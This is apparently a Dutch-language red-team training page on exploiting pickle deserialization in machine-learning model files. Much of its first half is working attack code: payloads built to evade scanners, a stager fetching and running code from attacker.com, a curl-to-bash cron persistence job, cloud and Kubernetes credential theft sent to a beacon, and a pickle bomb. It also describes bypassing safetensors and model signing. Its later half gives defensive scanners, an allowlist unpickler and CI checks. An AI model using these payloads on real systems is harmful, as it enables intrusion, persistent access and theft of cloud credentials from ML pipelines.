Pickle Deserialization Exploits
Technische methodologie voor het samenstellen van pickle-payloads, het omzeilen van safetensors en modelondertekening, en het uitbuiten van ML-modeldeserialisatie over frameworks heen.
Pickle Deserialization Exploits
Pickle-deserialisatie is de meest betrouwbare RCE-vector in het ML-ecosysteem. Anders dan traditionele deserialisatiebugs die gadget-chains vereisen, is pickle-uitbuiting rechttoe rechtaan by design: het __reduce__-protocol staat willekeurige reconstructielogica toe, en het ML-ecosysteem heeft het laden van niet-vertrouwde pickle-bestanden genormaliseerd als standaardpraktijk.
Interne werking van de pickle-VM
Belangrijke opcodes voor uitbuiting
| Opcode | Naam | Functie | Gebruik in exploits |
|---|---|---|---|
R | REDUCE | Pop callable + args-tuple, roep callable(*args) aan | Primaire RCE-primitive |
c | GLOBAL | Push module.name op de stack | Verwijs naar os.system, exec, etc. |
i | INST | Creëer een instance via cls(*args) | Alternatief voor REDUCE |
b | BUILD | Roep obj.__setstate__(state) aan | Reconstructie van complexe objecten |
\x93 | STACK_GLOBAL | Zoals GLOBAL, maar leest van de stack | Dynamische callable-resolutie (ontwijking) |
Gebruik pickletools.dis(data) om elke pickle te disassembleren en zijn opcodes te inspecteren.
import pickle, pickletools
class SimplePayload:
def __reduce__(self):
return (eval, ("print('RCE')",))
pickletools.dis(pickle.dumps(SimplePayload()))
# Shows STACK_GLOBAL -> REDUCE chain calling eval()Methodologie voor payloadconstructie
Choose the execution primitive
Gebruik
__reduce__voor payloads op Python-niveau, of ruwe bytecode voor ontwijking.Primitive Complexiteit Ontwijking Gebruik wanneer __reduce__+os.systemLaag Geen Snelle PoC, geen scanner aanwezig __reduce__+execLaag Geen Payloads met meerdere statements Ruwe opcodes ( c,R)Gemiddeld Omzeilt __reduce__-inspectieTarget gebruikt analyse op Python-niveau STACK_GLOBAL-opcodes Hoog Omzeilt statische GLOBAL-controles Target scant op bekende modulenamen Build the payload
Gebruik voor basale payloads
__reduce__. Stel voor scanner-ontwijking ruwe bytecode samen.def craft_raw_pickle(command: str) -> bytes: """Raw opcode payload bypassing __reduce__ inspection.""" payload = b'\x80\x02' # Protocol 2 payload += b'cos\nsystem\n' # GLOBAL: os.system payload += b'(' + b'V' + command.encode() + b'\n' payload += b'tR.' # TUPLE + REDUCE + STOP return payloadAdd stealth: return valid model data
Verpak de payload zodat deze stilletjes wordt uitgevoerd en een legitiem ogend object retourneert (bijv. een
state_dict), waardoor het slachtoffer niets verdachts opmerkt.Stage the delivery
Gebruik voor een minimale pickle-grootte een meertraps-aanpak: de pickle downloadt en voert een tweede-traps-script uit vanaf een door de aanvaller gecontroleerde server.
Geavanceerde payloadtechnieken
Geketende uitvoering
Gebruik exec() om payloads met meerdere statements uit te voeren: verkenning, exfiltratie van inloggegevens en persistentie in één enkele deserialisatie.
class ChainedPayload:
def __reduce__(self):
return (exec, (
"import os,socket,json,urllib.request\n"
"recon={'host':socket.gethostname(),'user':os.getenv('USER')}\n"
"urllib.request.urlopen(urllib.request.Request("
"'https://attacker.com/beacon',json.dumps(recon).encode()))"
,))Meertraps-payloads
Gebruik voor maximale stealth en flexibiliteit de initiële pickle-uitvoering om een tweede-traps-payload te downloaden en uit te voeren. Dit houdt het pickle-bestand klein en stelt de aanvaller in staat de tweede traps te wijzigen zonder de pickle opnieuw samen te stellen.
class StagerPayload:
"""Minimal first-stage payload that downloads and executes a
second-stage script from an attacker-controlled server."""
def __reduce__(self):
return (exec, (
"import urllib.request,tempfile,os\n"
"stage2=urllib.request.urlopen('https://attacker.com/stage2.py').read()\n"
"f=tempfile.NamedTemporaryFile(suffix='.py',delete=False)\n"
"f.write(stage2);f.close()\n"
"exec(open(f.name).read())\n"
"os.unlink(f.name)"
,))
class PersistencePayload:
"""Install a cron job or systemd timer for persistent access."""
def __reduce__(self):
return (exec, (
"import os,subprocess\n"
"cron = '*/5 * * * * curl -s https://attacker.com/c2|bash'\n"
"subprocess.run(['bash','-c',"
"f'(crontab -l 2>/dev/null; echo \"{cron}\") | crontab -'],"
"capture_output=True)"
,))Polymorfe payloads
Pas het gedrag aan op basis van omgevingsdetectie:
| Omgevingscontrole | Uitbuitingspad |
|---|---|
os.path.exists('/.dockerenv') | Container-escape-technieken |
'KUBERNETES_SERVICE_HOST' in os.environ | Lees het service-accounttoken, enumereer het cluster |
'AWS_EXECUTION_ENV' in os.environ | Bevraag IMDS voor IAM-inloggegevens |
os.path.exists('/dev/nvidia0') | Scan GPU-geheugen, enumereer modelopslag |
os.path.exists('/proc/self/cgroup') die kubepods bevat | Kubernetes-pod, lees gemounte secrets |
'AZURE_CLIENT_ID' in os.environ | Azure managed identity, verkrijg een ARM-token |
requests.get('http://metadata.google.internal', timeout=1) slaagt | GCP-instance, bevraag de metadataserver |
class PolymorphicPayload:
"""Detects the runtime environment and executes the appropriate
credential harvesting technique."""
def __reduce__(self):
return (exec, (
"import os,json,urllib.request\n"
"env_info = {'platform': 'unknown'}\n"
"try:\n"
" if 'AWS_EXECUTION_ENV' in os.environ:\n"
" env_info['platform'] = 'aws'\n"
" r = urllib.request.urlopen(\n"
" 'http://169.254.169.254/latest/meta-data/iam/security-credentials/')\n"
" role = r.read().decode()\n"
" creds = json.loads(urllib.request.urlopen(\n"
" f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}'\n"
" ).read())\n"
" env_info['creds'] = creds\n"
" elif os.path.exists('/var/run/secrets/kubernetes.io'):\n"
" env_info['platform'] = 'k8s'\n"
" with open('/var/run/secrets/kubernetes.io/serviceaccount/token') as f:\n"
" env_info['sa_token'] = f.read()\n"
"except: pass\n"
"urllib.request.urlopen(urllib.request.Request(\n"
" 'https://attacker.com/beacon',\n"
" json.dumps(env_info).encode(),\n"
" {'Content-Type':'application/json'}))"
,))Pickle bomb (resource-uitputting)
Pickle bombs gebruiken geneste tuple-vermenigvuldiging: een pickle van 100 bytes kan uitdijen tot meer dan 10 GB in het geheugen. Elk nestniveau verdubbelt de grootte (30 niveaus = ~1 miljard referenties).
import pickle
def create_pickle_bomb(levels=25):
"""Create a pickle bomb that expands exponentially on deserialization.
WARNING: Only use in controlled environments with memory limits."""
# Start with a small byte string
payload = b'A' * 1024 # 1 KB
# Each level wraps in a tuple and multiplies
for _ in range(levels):
payload = pickle.dumps((payload,) * 2)
return payload
# A 25-level bomb: ~1 KB serialized, ~33 GB deserialized
# bomb = create_pickle_bomb(25)
# print(f"Serialized size: {len(bomb)} bytes")
# print(f"Estimated deserialized size: {2**25 / 1024:.0f} MB")STACK_GLOBAL-ontwijkingstechniek
Statische scanners zoeken doorgaans naar GLOBAL-opcodes die verwijzen naar bekende gevaarlijke modules. De STACK_GLOBAL-opcode (\x93) bereikt hetzelfde effect, maar leest de module- en attribuutnamen van de stack in plaats van inline, waardoor het moeilijker te detecteren is voor eenvoudige pattern-matching-scanners.
import struct
def craft_stack_global_payload(command: str) -> bytes:
"""Craft a payload using STACK_GLOBAL to evade scanners
that only check GLOBAL opcodes for dangerous module names."""
payload = b'\x80\x04' # Protocol 4
# Push module name onto stack via SHORT_BINUNICODE
module = b'os'
payload += b'\x8c' + bytes([len(module)]) + module
# Push attribute name onto stack
attr = b'system'
payload += b'\x8c' + bytes([len(attr)]) + attr
# STACK_GLOBAL reads module+attr from stack (not inline)
payload += b'\x93'
# Push the command argument
cmd = command.encode()
payload += b'\x8c' + bytes([len(cmd)]) + cmd
# TUPLE1 + REDUCE + STOP
payload += b'\x85R.'
return payload
# Scanner that only checks 'c' (GLOBAL) opcode will miss this
# payload = craft_stack_global_payload("id")Safetensors omzeilen
Safetensors is het aanbevolen alternatief voor pickle, maar de transitie van het ecosysteem is onvolledig.
Bypass-vectoren
Force pickle fallback
Verwijder safetensors-bestanden uit een modelrepo. De
transformers-bibliotheek controleert eerst opmodel.safetensorsen valt vervolgens terug oppytorch_model.bin(pickle). Upload een model met alleen.bin-bestanden.Exploit custom code execution
Zelfs met safetensors-gewichten voert
trust_remote_code=Truewillekeurige Python uit vanuitmodeling_custom.py. De model card zegt "safetensors", maar de repo bevat uitvoerbare code.model.safetensors # Safe weight storage config.json # Points to custom code modeling_custom.py # ARBITRARY CODE EXECUTIONTarget tokenizer code
tokenizer_config.jsonkan verwijzen naar customtokenizer_custom.py. Dit is een aanvalsoppervlak met een lager profiel, omdat scanners zich richten op modelbestanden.
Modelondertekening verslaan
Organisaties die modelondertekening implementeren, laten vaak drie exploiteerbare hiaten open:
| Zwakte | Aanval | Waarom het werkt |
|---|---|---|
| Gedeeltelijke scope | Wijzig config.json of modeling_custom.py terwijl de ondertekende gewichten ongemoeid blijven | De handtekening dekt alleen gewichtbestanden, niet de volledige modeldirectory |
| TOCTOU | Wijzig gecachte modelbestanden tussen handtekeningverificatie (bij download) en laden (later) | TOCTOU-gat tussen verificatie en gebruik |
| Graceful fallback | Strip de handtekeningbestanden; de loader gaat verder zonder verificatie af te dwingen | De loader weigert niet-ondertekende modellen niet |
Correcte ondertekening vereist: het ondertekenen van alle bestanden in de modeldirectory, het afdwingen van de handtekening bij het laden (niet alleen bij het downloaden), het pinnen van verwachte handtekeningen in de applicatieconfiguratie, en het weigeren van niet-ondertekende modellen zonder fallback.
Framework-specifiek aanvalsoppervlak
| Framework | Serialisatie | Primair risico | Mitigatie | Mitigatie-bypass |
|---|---|---|---|---|
| PyTorch | Pickle via torch.save | torch.load() = volledige pickle-RCE | weights_only=True | Toegestane globals zijn mogelijk te ketenen |
| scikit-learn | Pickle via joblib | joblib.load() = pickle-RCE | Exporteer naar ONNX | De meeste tutorials gebruiken joblib |
| TensorFlow | Protobuf + custom ops | Custom ops worden uitgevoerd bij het laden | Gebruik alleen standaard-ops | Lambda-lagen bevatten willekeurige Python |
| Keras | HDF5 (.h5) | Lambda-lagen: lambda x: __import__('os').system('id') | Vermijd Lambda-lagen | Legacy-modellen bevatten ze vaak |
Detectie en preventie
Statisch pickle-scannen
Analyseer pickle-bytecode zonder te deserialiseren. Markeer GLOBAL-, STACK_GLOBAL- en REDUCE-opcodes die verwijzen naar gevaarlijke modules (os, subprocess, builtins, importlib, ctypes, socket).
import pickletools
def scan_pickle(data: bytes) -> dict:
"""Scan pickle bytecode for dangerous operations."""
DANGEROUS = {'os','subprocess','sys','eval','exec',
'builtins','importlib','ctypes','socket','urllib'}
threats = []
for opcode, arg, pos in pickletools.genops(data):
if opcode.name in ('GLOBAL','INST','STACK_GLOBAL'):
if arg and any(d in str(arg) for d in DANGEROUS):
threats.append({"opcode": opcode.name, "arg": str(arg), "pos": pos})
if opcode.name == 'REDUCE':
threats.append({"opcode": "REDUCE", "pos": pos})
return {"threats": threats, "verdict": "DANGEROUS" if threats else "LIKELY_SAFE"}Fickling gebruiken voor diepgaande analyse
Fickling van Trail of Bits biedt geavanceerdere pickle-analyse dan eenvoudig opcode-scannen. Het kan pickle-bytecode terugdecompileren naar Python, manipulatie van de control flow detecteren, en geobfusceerde payloads identificeren die eenvoudige scanners ontwijken.
# pip install fickling
from fickling.fickle import Pickled
from fickling.analysis import check_safety
def deep_scan_pickle(filepath: str) -> dict:
"""Use Fickling for deep pickle analysis beyond opcode scanning."""
with open(filepath, 'rb') as f:
data = f.read()
result = {
"file": filepath,
"size": len(data),
"findings": []
}
# Check safety (Fickling's built-in analysis)
safety = check_safety(data)
result["fickling_verdict"] = str(safety)
# Decompile to see what the pickle actually does
pickled = Pickled.load(data)
for i, node in enumerate(pickled):
# Check for function calls
if hasattr(node, 'calls'):
for call in node.calls:
result["findings"].append({
"type": "function_call",
"node": i,
"call": str(call)
})
return resultRuntime-sandboxing
Overschrijf pickle.Unpickler.find_class met een strikte allowlist van veilige klassen (bijv. collections.OrderedDict, torch.FloatStorage, numpy.ndarray). Wijs al het andere af.
import pickle
import io
class SafeUnpickler(pickle.Unpickler):
"""Restrict pickle deserialization to only allowlisted classes.
This prevents arbitrary code execution by blocking GLOBAL and
STACK_GLOBAL references to dangerous modules."""
ALLOWED_CLASSES = {
('collections', 'OrderedDict'),
('numpy', 'ndarray'),
('numpy', 'dtype'),
('numpy.core.multiarray', '_reconstruct'),
('torch', 'FloatStorage'),
('torch', 'LongStorage'),
('torch', 'IntStorage'),
('torch', 'HalfStorage'),
('torch._utils', '_rebuild_tensor_v2'),
('_codecs', 'encode'),
}
def find_class(self, module: str, name: str) -> type:
if (module, name) not in self.ALLOWED_CLASSES:
raise pickle.UnpicklingError(
f"Blocked: {module}.{name} not in allowlist"
)
return super().find_class(module, name)
def safe_load(data: bytes):
"""Load pickle data with class restrictions."""
return SafeUnpickler(io.BytesIO(data)).load()
# Usage:
# model_weights = safe_load(pickle_data)
# Raises UnpicklingError if the pickle tries to call os.system, eval, etc.Integratie in de CI/CD-pijplijn
Integreer pickle-scannen in je modeldeploymentpijplijn om kwaadaardige modellen op te vangen voordat ze de productie bereiken.
import pickletools
import sys
import glob
import json
from pathlib import Path
DANGEROUS_MODULES = {
'os', 'subprocess', 'sys', 'eval', 'exec', 'builtins',
'importlib', 'ctypes', 'socket', 'urllib', 'http',
'shutil', 'signal', 'code', 'codeop', 'compile',
'webbrowser', 'antigravity', 'turtle', 'tkinter'
}
def scan_model_directory(model_dir: str) -> dict:
"""Scan all pickle files in a model directory for threats."""
results = {"scanned": 0, "clean": 0, "dangerous": 0, "details": []}
pickle_extensions = ['*.pkl', '*.pickle', '*.pt', '*.pth', '*.bin',
'*.joblib', '*.npy', '*.npz']
for ext in pickle_extensions:
for filepath in glob.glob(f"{model_dir}/**/{ext}", recursive=True):
results["scanned"] += 1
try:
with open(filepath, 'rb') as f:
data = f.read()
threats = []
for opcode, arg, pos in pickletools.genops(data):
if opcode.name in ('GLOBAL', 'INST', 'STACK_GLOBAL'):
module = str(arg).split('.')[0] if arg else ''
if module in DANGEROUS_MODULES:
threats.append({
"opcode": opcode.name,
"ref": str(arg),
"position": pos
})
if threats:
results["dangerous"] += 1
results["details"].append({
"file": filepath,
"verdict": "DANGEROUS",
"threats": threats
})
else:
results["clean"] += 1
except Exception as e:
results["details"].append({
"file": filepath,
"verdict": "ERROR",
"error": str(e)
})
return results
if __name__ == '__main__':
model_dir = sys.argv[1] if len(sys.argv) > 1 else '.'
results = scan_model_directory(model_dir)
print(json.dumps(results, indent=2))
sys.exit(1 if results["dangerous"] > 0 else 0)torch.load met weights_only=True
PyTorch 2.0+ ondersteunt weights_only=True in torch.load(), wat de deserialisatie beperkt tot tensordata en een set veilige types. Dit is de eenvoudigste verdediging voor PyTorch-specifieke workflows.
import torch
# Safe: only loads tensor data, blocks arbitrary code
model_state = torch.load('model.pt', weights_only=True)
# Unsafe: full pickle deserialization (legacy default)
# model_state = torch.load('model.pt') # DO NOT use with untrusted files
# Note: weights_only=True may fail for models that use custom classes
# in their state_dict. In that case, use map_location and allowlist:
model_state = torch.load(
'model.pt',
weights_only=True,
map_location='cpu'
)Een modelrepository gebruikt safetensors voor de gewichten en bevat een config.json met auto_map die naar een custom modeling_custom.py wijst. Wat is het primaire risico?
Related Topics
- AI Supply Chain Exploitation -- Breder supply-chain-aanvalsoppervlak buiten pickle
- Training & Fine-Tuning Attacks -- Backdoor-injectie die afhankelijk is van modelserialisatie
- AI Infrastructure Exploitation -- Container-escape- en GPU-clusteraanvallen die pickle-RCE mogelijk maakt
- Red Team Tooling -- Scannen en automatisering voor het detecteren van pickle-kwetsbaarheden
References
- Fickling: Pickle decompiler and static analyzer — Trail of Bits pickle analysis tool
- Never a Dhat Moment: Detecting Deserialization Attacks — Serialization security research
- Safetensors: A Simple and Safe Way to Store and Distribute Tensors — The secure alternative to pickle serialization